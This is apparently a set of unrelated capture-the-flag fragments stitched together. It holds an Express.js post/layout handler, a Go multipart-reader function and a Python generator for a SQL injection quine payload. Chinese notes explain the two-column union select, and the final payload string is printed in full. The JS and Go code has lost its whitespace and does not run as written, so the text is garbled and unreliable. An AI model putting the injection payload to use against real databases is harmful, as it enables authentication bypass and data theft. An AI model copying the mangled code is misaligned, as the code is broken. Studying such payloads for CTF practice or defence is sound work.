app.post('/api/post',(req,res)=>{const{content,layoutId}=req.body;if(typeofcontent!=='string'||typeoflayoutId!=='number'){returnres.status(400).send('Invalid params');}if(content.length>LENGTH_LIMIT)returnres.status(400).send('Content too long');constlayout=req.session.layouts[layoutId];if(layout===undefined)returnres.status(400).send('Layout not found');constsanitizedContent=DOMPurify.sanitize(content);//将layout中的{{content}}替换为content的值constbody=layout.replace(/\{\{content\}\}/g,()=>sanitizedContent);if(body.length>LENGTH_LIMIT)returnres.status(400).send('Post too long');constid=randomBytes(16).toString('hex');posts.set(id,body);req.session.posts.push(id);console.log(`Post${id}${Buffer.from(layout).toString('base64')}${Buffer.from(sanitizedContent).toString('base64')}`);returnres.json({id});});app.post('/api/layout',(req,res)=>{const{layout}=req.body;if(typeoflayout!=='string')returnres.status(400).send('Invalid param');if(layout.length>LENGTH_LIMIT)returnres.status(400).send('Layout too large');constsanitizedLayout=DOMPurify.sanitize(layout);constid=req.session.layouts.length;req.session.layouts.push(sanitizedLayout);returnres.json({id});});
func(r*Request)multipartReader(allowMixedbool)(*multipart.Reader,error){v:=r.Header.Get("Content-Type")ifv==""{returnnil,ErrNotMultipart}ifr.Body==nil{returnnil,errors.New("missing form body")}d,params,err:=mime.ParseMediaType(v)iferr!=nil||!(d=="multipart/form-data"||allowMixed&&d=="multipart/mixed"){returnnil,ErrNotMultipart}boundary,ok:=params["boundary"]if!ok{returnnil,ErrMissingBoundary}returnmultipart.NewReader(r.Body,boundary),nil}
sql = input ("输入你的sql语句,不用写关键查询的信息 形如 1'union select #\n")
sql2 = sql.replace("'",'"')
base = "replace(replace('.',char(34),char(39)),char(46),'.')"
final = ""
def add(string):
if ("--+" in string):
tem = string.split("--+")[0] + base + "--+"
if ("#" in string):
tem = string.split("#")[0] + base + "#"
return tem
def patch(string,sql):
if ("--+" in string):
return sql.split("--+")[0] + string + "--+"
if ("#" in string):
return sql.split("#")[0] + string + "#"
res = patch(base.replace(".",add(sql2)),sql).replace("'.'",'"."')
print(res)
最后经尝试发现是两列,因此传入 1' union select 1,2,--+ ,得到 payload
1
1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--+')--+